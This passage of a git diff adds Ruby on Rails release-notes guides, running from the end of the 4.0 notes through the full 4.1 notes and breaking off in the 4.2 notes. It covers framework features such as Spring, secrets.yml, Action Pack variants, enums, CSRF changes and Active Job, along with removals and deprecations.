+* Add `Relation#load` to explicitly load the record and return `self`.
+
+* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading.
+
+* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending.
+
+* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this:
+
+        store :settings, accessors: [ :color, :homepage ], coder: JSON
+
+* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`.
+
+* Remove IdentityMap.
+
+* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed.
+
+* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class.
+
+* Added `create_join_table` migration helper to create HABTM join tables.
+
+* Allows PostgreSQL hstore records to be created.
+
+### Deprecations
+
+* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.
+
+* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's
+  how you can rewrite the code:
+
+      * `find_all_by_...` can be rewritten using `where(...)`.
+      * `find_last_by_...` can be rewritten using `where(...).last`.
+      * `scoped_by_...` can be rewritten using `where(...)`.
+      * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`.
+      * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`.
+      * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md
new file mode 100644
index 0000000000..6bf65757ec
--- /dev/null
+++ b/guides/source/4_1_release_notes.md
@@ -0,0 +1,732 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 4.1 Release Notes
+===============================
+
+Highlights in Rails 4.1:
+
+* Spring application preloader
+* `config/secrets.yml`
+* Action Pack variants
+* Action Mailer previews
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/4-1-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 4.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 4.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1)
+guide.
+
+
+Major Features
+--------------
+
+### Spring Application Preloader
+
+Spring is a Rails application preloader. It speeds up development by keeping
+your application running in the background so you don't need to boot it every
+time you run a test, rake task or migration.
+
+New Rails 4.1 applications will ship with "springified" binstubs. This means
+that `bin/rails` and `bin/rake` will automatically take advantage of preloaded
+spring environments.
+
+**Running rake tasks:**
+
+```
+bin/rake test:models
+```
+
+**Running a Rails command:**
+
+```
+bin/rails console
+```
+
+**Spring introspection:**
+
+```
+$ bin/spring status
+Spring is running:
+
+ 1182 spring server | my_app | started 29 mins ago
+ 3656 spring app    | my_app | started 23 secs ago | test mode
+ 3746 spring app    | my_app | started 10 secs ago | development mode
+```
+
+Have a look at the
+[Spring README](https://github.com/rails/spring/blob/master/README.md) to
+see all available features.
+
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring)
+guide on how to migrate existing applications to use this feature.
+
+### `config/secrets.yml`
+
+Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default,
+this file contains the application's `secret_key_base`, but it could also be
+used to store other secrets such as access keys for external APIs.
+
+The secrets added to this file are accessible via `Rails.application.secrets`.
+For example, with the following `config/secrets.yml`:
+
+```yaml
+development:
+  secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+  some_api_key: SOMEKEY
+```
+
+`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development
+environment.
+
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml)
+guide on how to migrate existing applications to use this feature.
+
+### Action Pack Variants
+
+We often want to render different HTML/JSON/XML templates for phones,
+tablets, and desktop browsers. Variants make it easy.
+
+The request variant is a specialization of the request format, like `:tablet`,
+`:phone`, or `:desktop`.
+
+You can set the variant in a `before_action`:
+
+```ruby
+request.variant = :tablet if request.user_agent =~ /iPad/
+```
+
+Respond to variants in the action just like you respond to formats:
+
+```ruby
+respond_to do |format|
+  format.html do |html|
+    html.tablet # renders app/views/projects/show.html+tablet.erb
+    html.phone { extra_setup; render ... }
+  end
+end
+```
+
+Provide separate templates for each format and variant:
+
+```
+app/views/projects/show.html.erb
+app/views/projects/show.html+tablet.erb
+app/views/projects/show.html+phone.erb
+```
+
+You can also simplify the variants definition using the inline syntax:
+
+```ruby
+respond_to do |format|
+  format.js         { render "trash" }
+  format.html.phone { redirect_to progress_path }
+  format.html.none  { render "trash" }
+end
+```
+
+### Action Mailer Previews
+
+Action Mailer previews provide a way to see how emails look by visiting
+a special URL that renders them.
+
+You implement a preview class whose methods return the mail object you'd like
+to check:
+
+```ruby
+class NotifierPreview < ActionMailer::Preview
+  def welcome
+    Notifier.welcome(User.first)
+  end
+end
+```
+
+The preview is available in http://localhost:3000/rails/mailers/notifier/welcome,
+and a list of them in http://localhost:3000/rails/mailers.
+
+By default, these preview classes live in `test/mailers/previews`.
+This can be configured using the `preview_path` option.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html#class-ActionMailer::Base-label-Previewing+emails)
+for a detailed write up.
+
+### Active Record enums
+
+Declare an enum attribute where the values map to integers in the database, but
+can be queried by name.
+
+```ruby
+class Conversation < ActiveRecord::Base
+  enum status: [ :active, :archived ]
+end
+
+conversation.archived!
+conversation.active? # => false
+conversation.status  # => "archived"
+
+Conversation.archived # => Relation for all archived Conversations
+
+Conversation.statuses # => { "active" => 0, "archived" => 1 }
+```
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html)
+for a detailed write up.
+
+### Message Verifiers
+
+Message verifiers can be used to generate and verify signed messages. This can
+be useful to safely transport sensitive data like remember-me tokens and
+friends.
+
+The method `Rails.application.message_verifier` returns a new message verifier
+that signs messages with a key derived from secret_key_base and the given
+message verifier name:
+
+```ruby
+signed_token = Rails.application.message_verifier(:remember_me).generate(token)
+Rails.application.message_verifier(:remember_me).verify(signed_token) # => token
+
+Rails.application.message_verifier(:remember_me).verify(tampered_token)
+# raises ActiveSupport::MessageVerifier::InvalidSignature
+```
+
+### Module#concerning
+
+A natural, low-ceremony way to separate responsibilities within a class:
+
+```ruby
+class Todo < ActiveRecord::Base
+  concerning :EventTracking do
+    included do
+      has_many :events
+    end
+
+    def latest_event
+      ...
+    end
+
+    private
+      def some_internal_method
+        ...
+      end
+  end
+end
+```
+
+This example is equivalent to defining a `EventTracking` module inline,
+extending it with `ActiveSupport::Concern`, then mixing it in to the
+`Todo` class.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html)
+for a detailed write up and the intended use cases.
+
+### CSRF protection from remote `<script>` tags
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. That prevents a third-party site from referencing
+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means any of your tests that hit `.js` URLs will now fail CSRF protection
+unless they use `xhr`. Upgrade your tests to be explicit about expecting
+XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit
+`xhr :post, :create, format: :js`.
+
+
+Railties
+--------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed `update:application_controller` rake task.
+
+* Removed deprecated `Rails.application.railties.engines`.
+
+* Removed deprecated `threadsafe!` from Rails Config.
+
+* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
+  favor of `ActiveRecord::Generators::ActiveModel#update`.
+
+* Removed deprecated `config.whiny_nils` option.
+
+* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
+  `rake test:recent`.
+
+### Notable changes
+
+* The [Spring application
+  preloader](https://github.com/rails/spring) is now installed
+  by default for new applications. It uses the development group of
+  the Gemfile, so will not be installed in
+  production. ([Pull Request](https://github.com/rails/rails/pull/12958))
+
+* `BACKTRACE` environment variable to show unfiltered backtraces for test
+  failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553))
+
+* Exposed `MiddlewareStack#unshift` to environment
+  configuration. ([Pull Request](https://github.com/rails/rails/pull/12479))
+
+* Added `Application#message_verifier` method to return a message
+  verifier. ([Pull Request](https://github.com/rails/rails/pull/12995))
+
+* The `test_help.rb` file which is required by the default generated test
+  helper will automatically keep your test database up-to-date with
+  `db/schema.rb` (or `db/structure.sql`). It raises an error if
+  reloading the schema does not resolve all pending migrations. Opt out
+  with `config.active_record.maintain_test_schema = false`. ([Pull
+  Request](https://github.com/rails/rails/pull/13528))
+
+* Introduce `Rails.gem_version` as a convenience method to return
+  `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform
+  version comparison. ([Pull Request](https://github.com/rails/rails/pull/14103))
+
+
+Action Pack
+-----------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated Rails application fallback for integration testing, set
+  `ActionDispatch.test_app` instead.
+
+* Removed deprecated `page_cache_extension` config.
+
+* Removed deprecated `ActionController::RecordIdentifier`, use
+  `ActionView::RecordIdentifier` instead.
+
+* Removed deprecated constants from Action Controller:
+
+| Removed                            | Successor                       |
+|:-----------------------------------|:--------------------------------|
+| ActionController::AbstractRequest  | ActionDispatch::Request         |
+| ActionController::Request          | ActionDispatch::Request         |
+| ActionController::AbstractResponse | ActionDispatch::Response        |
+| ActionController::Response         | ActionDispatch::Response        |
+| ActionController::Routing          | ActionDispatch::Routing         |
+| ActionController::Integration      | ActionDispatch::Integration     |
+| ActionController::IntegrationTest  | ActionDispatch::IntegrationTest |
+
+### Notable changes
+
+* `protect_from_forgery` also prevents cross-origin `<script>` tags.
+  Update your tests to use `xhr :get, :foo, format: :js` instead of
+  `get :foo, format: :js`.
+  ([Pull Request](https://github.com/rails/rails/pull/13345))
+
+* `#url_for` takes a hash with options inside an
+  array. ([Pull Request](https://github.com/rails/rails/pull/9599))
+
+* Added `session#fetch` method fetch behaves similarly to
+  [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch),
+  with the exception that the returned value is always saved into the
+  session. ([Pull Request](https://github.com/rails/rails/pull/12692))
+
+* Separated Action View completely from Action
+  Pack. ([Pull Request](https://github.com/rails/rails/pull/11032))
+
+* Log which keys were affected by deep
+  munge. ([Pull Request](https://github.com/rails/rails/pull/13813))
+
+* New config option `config.action_dispatch.perform_deep_munge` to opt out of
+  params "deep munging" that was used to address security vulnerability
+  CVE-2013-0155. ([Pull Request](https://github.com/rails/rails/pull/13188))
+
+* New config option `config.action_dispatch.cookies_serializer` for specifying a
+  serializer for the signed and encrypted cookie jars. (Pull Requests
+  [1](https://github.com/rails/rails/pull/13692),
+  [2](https://github.com/rails/rails/pull/13945) /
+  [More Details](upgrading_ruby_on_rails.html#cookies-serializer))
+
+* Added `render :plain`, `render :html` and `render
+  :body`. ([Pull Request](https://github.com/rails/rails/pull/14062) /
+  [More Details](upgrading_ruby_on_rails.html#rendering-content-from-string))
+
+
+Action Mailer
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md)
+for detailed changes.
+
+### Notable changes
+
+* Added mailer previews feature based on 37 Signals mail_view
+  gem. ([Commit](https://github.com/rails/rails/commit/d6dec7fcb6b8fddf8c170182d4fe64ecfc7b2261))
+
+* Instrument the generation of Action Mailer messages. The time it takes to
+  generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556))
+
+
+Active Record
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated nil-passing to the following `SchemaCache` methods:
+  `primary_keys`, `tables`, `columns` and `columns_hash`.
+
+* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`.
+
+* Removed deprecated String constructor from `ActiveRecord::Migrator`.
+
+* Removed deprecated `scope` use without passing a callable object.
+
+* Removed deprecated `transaction_joinable=` in favor of `begin_transaction`
+  with a `:joinable` option.
+
+* Removed deprecated `decrement_open_transactions`.
+
+* Removed deprecated `increment_open_transactions`.
+
+* Removed deprecated `PostgreSQLAdapter#outside_transaction?`
+  method. You can use `#transaction_open?` instead.
+
+* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of
+  `ActiveRecord::Fixtures.default_fixture_model_name`.
+
+* Removed deprecated `columns_for_remove` from `SchemaStatements`.
+
+* Removed deprecated `SchemaStatements#distinct`.
+
+* Moved deprecated `ActiveRecord::TestCase` into the Rails test
+  suite. The class is no longer public and is only used for internal
+  Rails tests.
+
+* Removed support for deprecated option `:restrict` for `:dependent`
+  in associations.
+
+* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql`
+  and `:counter_sql` options in associations.
+
+* Removed deprecated method `type_cast_code` from Column.
+
+* Removed deprecated `ActiveRecord::Base#connection` method.
+  Make sure to access it via the class.
+
+* Removed deprecation warning for `auto_explain_threshold_in_seconds`.
+
+* Removed deprecated `:distinct` option from `Relation#count`.
+
+* Removed deprecated methods `partial_updates`, `partial_updates?` and
+  `partial_updates=`.
+
+* Removed deprecated method `scoped`.
+
+* Removed deprecated method `default_scopes?`.
+
+* Remove implicit join references that were deprecated in 4.0.
+
+* Removed `activerecord-deprecated_finders` as a dependency.
+  Please see [the gem README](https://github.com/rails/activerecord-deprecated_finders#active-record-deprecated-finders)
+  for more info.
+
+* Removed usage of `implicit_readonly`. Please use `readonly` method
+  explicitly to mark records as
+  `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769))
+
+### Deprecations
+
+* Deprecated `quoted_locking_column` method, which isn't used anywhere.
+
+* Deprecated `ConnectionAdapters::SchemaStatements#distinct`,
+  as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556))
+
+* Deprecated `rake db:test:*` tasks as the test database is now
+  automatically maintained. See railties release notes. ([Pull
+  Request](https://github.com/rails/rails/pull/13528))
+
+* Deprecate unused `ActiveRecord::Base.symbolized_base_class`
+  and `ActiveRecord::Base.symbolized_sti_name` without
+  replacement. [Commit](https://github.com/rails/rails/commit/97e7ca48c139ea5cce2fa9b4be631946252a1ebd)
+
+### Notable changes
+
+* Default scopes are no longer overridden by chained conditions.
+
+  Before this change when you defined a `default_scope` in a model
+  it was overridden by chained conditions in the same field. Now it
+  is merged like any other scope. [More Details](upgrading_ruby_on_rails.html#changes-on-default-scopes).
+
+* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from
+  a model's attribute or
+  method. ([Pull Request](https://github.com/rails/rails/pull/12891))
+
+* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on
+  models. ([Pull Request](https://github.com/rails/rails/pull/12772))
+
+* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`.
+  `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425))
+
+* `.unscope` now removes conditions specified in
+  `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade))
+
+* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing,
+  named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2))
+
+* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp
+  attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329))
+
+* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values
+  map to integers in the database, but can be queried by
+  name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5))
+
+* Type cast json values on write, so that the value is consistent with reading
+  from the database. ([Pull Request](https://github.com/rails/rails/pull/12643))
+
+* Type cast hstore values on write, so that the value is consistent
+  with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d))
+
+* Make `next_migration_number` accessible for third party
+  generators. ([Pull Request](https://github.com/rails/rails/pull/12407))
+
+* Calling `update_attributes` will now throw an `ArgumentError` whenever it
+  gets a `nil` argument. More specifically, it will throw an error if the
+  argument that it gets passed does not respond to to
+  `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860))
+
+* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed
+  query to fetch results rather than loading the entire
+  collection. ([Pull Request](https://github.com/rails/rails/pull/12137))
+
+* `inspect` on Active Record model classes does not initiate a new
+  connection. This means that calling `inspect`, when the database is missing,
+  will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014))
+
+* Removed column restrictions for `count`, let the database raise if the SQL is
+  invalid. ([Pull Request](https://github.com/rails/rails/pull/10710))
+
+* Rails now automatically detects inverse associations. If you do not set the
+  `:inverse_of` option on the association, then Active Record will guess the
+  inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886))
+
+* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys,
+  ActiveRecord will now translate aliased attribute names to the actual column
+  name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839))
+
+* The ERB in fixture files is no longer evaluated in the context of the main
+  object. Helper methods used by multiple fixtures should be defined on modules
+  included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022))
+
+* Don't create or drop the test database if RAILS_ENV is specified
+  explicitly. ([Pull Request](https://github.com/rails/rails/pull/13629))
+
+* `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+  to an `Array` by calling `#to_a` before using these methods. ([Pull Request](https://github.com/rails/rails/pull/13314))
+
+* `find_in_batches`, `find_each`, `Result#each` and `Enumerable#index_by` now
+  return an `Enumerator` that can calculate its
+  size. ([Pull Request](https://github.com/rails/rails/pull/13938))
+
+* `scope`, `enum` and Associations now raise on "dangerous" name
+  conflicts. ([Pull Request](https://github.com/rails/rails/pull/13450),
+  [Pull Request](https://github.com/rails/rails/pull/13896))
+
+* `second` through `fifth` methods act like the `first`
+  finder. ([Pull Request](https://github.com/rails/rails/pull/13757))
+
+* Make `touch` fire the `after_commit` and `after_rollback`
+  callbacks. ([Pull Request](https://github.com/rails/rails/pull/12031))
+
+* Enable partial indexes for `sqlite >= 3.8.0`.
+  ([Pull Request](https://github.com/rails/rails/pull/13350))
+
+* Make `change_column_null`
+  revertible. ([Commit](https://github.com/rails/rails/commit/724509a9d5322ff502aefa90dd282ba33a281a96))
+
+* Added a flag to disable schema dump after migration. This is set to `false`
+  by default in the production environment for new applications.
+  ([Pull Request](https://github.com/rails/rails/pull/13948))
+
+Active Model
+------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md)
+for detailed changes.
+
+### Deprecations
+
+* Deprecate `Validator#setup`. This should be done manually now in the
+  validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a))
+
+### Notable changes
+
+* Added new API methods `reset_changes` and `changes_applied` to
+  `ActiveModel::Dirty` that control changes state.
+
+* Ability to specify multiple contexts when defining a
+  validation. ([Pull Request](https://github.com/rails/rails/pull/13754))
+
+* `attribute_changed?` now accepts a hash to check if the attribute was changed
+  `:from` and/or `:to` a given
+  value. ([Pull Request](https://github.com/rails/rails/pull/13131))
+
+
+Active Support
+--------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md)
+for detailed changes.
+
+
+### Removals
+
+* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode`
+  no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed support for the `encode_json` hook used for encoding custom objects into
+  JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+  gem.
+  ([Related Pull Request](https://github.com/rails/rails/pull/12183) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.
+
+* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).
+
+* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`.
+
+* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`.
+
+* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`).
+
+* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and
+  `Time#local_time` in favor of `Time#utc` and `Time#local`.
+
+* Removed deprecated `Hash#diff` with no replacement.
+
+* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.
+
+* Removed deprecated `Proc#bind` with no replacement.
+
+* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native
+  `Array#uniq` and `Array#uniq!` instead.
+
+* Removed deprecated `ActiveSupport::BasicObject`, use
+  `ActiveSupport::ProxyObject` instead.
+
+* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.
+
+* Removed deprecated `assert_present` and `assert_blank` methods, use `assert
+  object.blank?` and `assert object.present?` instead.
+
+* Remove deprecated `#filter` method for filter objects, use the corresponding
+  method instead (e.g. `#before` for a before filter).
+
+* Removed 'cow' => 'kine' irregular inflection from default
+  inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9))
+
+### Deprecations
+
+* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to
+  explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
+  ([Pull Request](https://github.com/rails/rails/pull/12389))
+
+* Deprecated the require path `active_support/core_ext/object/to_json`. Require
+  `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203))
+
+* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature
+  has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+  gem.
+  ([Pull Request](https://github.com/rails/rails/pull/12785) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has
+  been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+  gem.
+  ([Pull Request](https://github.com/rails/rails/pull/13060) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecate custom `BigDecimal`
+  serialization. ([Pull Request](https://github.com/rails/rails/pull/13911))
+
+### Notable changes
+
+* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the
+  JSON gem rather than doing custom encoding in pure-Ruby.
+  ([Pull Request](https://github.com/rails/rails/pull/12183) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Improved compatibility with the JSON gem.
+  ([Pull Request](https://github.com/rails/rails/pull/12862) /
+  [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These
+  methods change current time to the given time or duration by stubbing
+  `Time.now` and `Date.today`.
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel_back`. This method returns
+  the current time to the original state, by removing the stubs added by `travel`
+  and `travel_to`. ([Pull Request](https://github.com/rails/rails/pull/13884))
+
+* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed
+  them to JavaScript functions like
+  `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643))
+
+* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day`
+  methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and
+  `at_middle_of_day` as
+  aliases. ([Pull Request](https://github.com/rails/rails/pull/10879))
+
+* Added `Date#all_week/month/quarter/year` for generating date
+  ranges. ([Pull Request](https://github.com/rails/rails/pull/9685))
+
+* Added `Time.zone.yesterday` and
+  `Time.zone.tomorrow`. ([Pull Request](https://github.com/rails/rails/pull/12822))
+
+* Added `String#remove(pattern)` as a short-hand for the common pattern of
+  `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f))
+
+* Added `Hash#compact` and `Hash#compact!` for removing items with nil value
+  from hash. ([Pull Request](https://github.com/rails/rails/pull/13632))
+
+* `blank?` and `present?` commit to return
+  singletons. ([Commit](https://github.com/rails/rails/commit/126dc47665c65cd129967cbd8a5926dddd0aa514))
+
+* Default the new `I18n.enforce_available_locales` config to `true`, meaning
+  `I18n` will make sure that all locales passed to it must be declared in the
+  `available_locales`
+  list. ([Pull Request](https://github.com/rails/rails/pull/13341))
+
+* Introduce `Module#concerning`: a natural, low-ceremony way to separate
+  responsibilities within a
+  class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81))
+
+* Added `Object#presence_in` to simplify value whitelisting.
+  ([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396))
+
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
diff --git a/guides/source/4_2_release_notes.md b/guides/source/4_2_release_notes.md
new file mode 100644
index 0000000000..a30bfc458a
--- /dev/null
+++ b/guides/source/4_2_release_notes.md
@@ -0,0 +1,890 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 4.2 Release Notes
+===============================
+
+Highlights in Rails 4.2:
+
+* Active Job
+* Asynchronous mails
+* Adequate Record
+* Web Console
+* Foreign key support
+
+These release notes cover only the major changes. To learn about other
+features, bug fixes, and changes, please refer to the changelogs or check out
+the [list of commits](https://github.com/rails/rails/commits/4-2-stable) in
+the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 4.1 in case you
+haven't and make sure your application still runs as expected before attempting
+to upgrade to Rails 4.2. A list of things to watch out for when upgrading is
+available in the guide [Upgrading Ruby on
+Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-1-to-rails-4-2).
+
+
+Major Features
+--------------
+
+### Active Job
+
+Active Job is a new framework in Rails 4.2. It is a common interface on top of
+queuing systems like [Resque](https://github.com/resque/resque), [Delayed
+Job](https://github.com/collectiveidea/delayed_job),
+[Sidekiq](https://github.com/mperham/sidekiq), and more.
+
+Jobs written with the Active Job API run on any of the supported queues thanks
+to their respective adapters. Active Job comes pre-configured with an inline
+runner that executes jobs right away.
+
+Jobs often need to take Active Record objects as arguments. Active Job passes
+object references as URIs (uniform resource identifiers) instead of marshaling
+the object itself. The new [Global ID](https://github.com/rails/globalid)
+library builds URIs and looks up the objects they reference. Passing Active
+Record objects as job arguments just works by using Global ID internally.
+
+For example, if `trashable` is an Active Record object, then this job runs
+just fine with no serialization involved:
+
+```ruby
+class TrashableCleanupJob < ActiveJob::Base
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+```
+
+See the [Active Job Basics](active_job_basics.html) guide for more
+information.
+
+### Asynchronous Mails
+
+Building on top of Active Job, Action Mailer now comes with a `deliver_later`
+method that sends emails via the queue, so it doesn't block the controller or
+model if the queue is asynchronous (the default inline queue blocks).
+
+Sending emails right away is still possible with `deliver_now`.
+
+### Adequate Record
+
+Adequate Record is a set of performance improvements in Active Record that makes
+common `find` and `find_by` calls and some association queries up to 2x faster.
+
+It works by caching common SQL queries as prepared statements and reusing them
+on similar calls, skipping most of the query-generation work on subsequent
+calls. For more details, please refer to [Aaron Patterson's blog
+post](http://tenderlovemaking.com/2014/02/19/adequaterecord-pro-like-activerecord.html).
+
+Active Record will automatically take advantage of this feature on
+supported operations without any user involvement or code changes. Here are
+some examples of supported operations:
+
+```ruby
+Post.find(1)  # First call generates and cache the prepared statement
+Post.find(2)  # Subsequent calls reuse the cached prepared statement
+
+Post.find_by_title('first post')
+Post.find_by_title('second post')
+
+Post.find_by(title: 'first post')
+Post.find_by(title: 'second post')
+
+post.comments
+post.comments(true)
+```
+
+It's important to highlight that, as the examples above suggest, the prepared
+statements do not cache the values passed in the method calls; rather, they
+have placeholders for them.
+
+Caching is not used in the following scenarios:
+
+- The model has a default scope
+- The model uses single table inheritance
+- `find` with a list of ids, e.g.:
+
+  ```ruby
+  # not cached
+  Post.find(1, 2, 3)
+  Post.find([1,2])
+  ```
+
+- `find_by` with SQL fragments:
+
+  ```ruby
+  Post.find_by('published_at < ?', 2.weeks.ago)
+  ```
+
+### Web Console
+
+New applications generated with Rails 4.2 now come with the [Web
+Console](https://github.com/rails/web-console) gem by default. Web Console adds
+an interactive Ruby console on every error page and provides a `console` view
+and controller helpers.
+
+The interactive console on error pages lets you execute code in the context of
+the place where the exception originated. The `console` helper, if called
+anywhere in a view or controller, launches an interactive console with the final
+context, once rendering has completed.
+
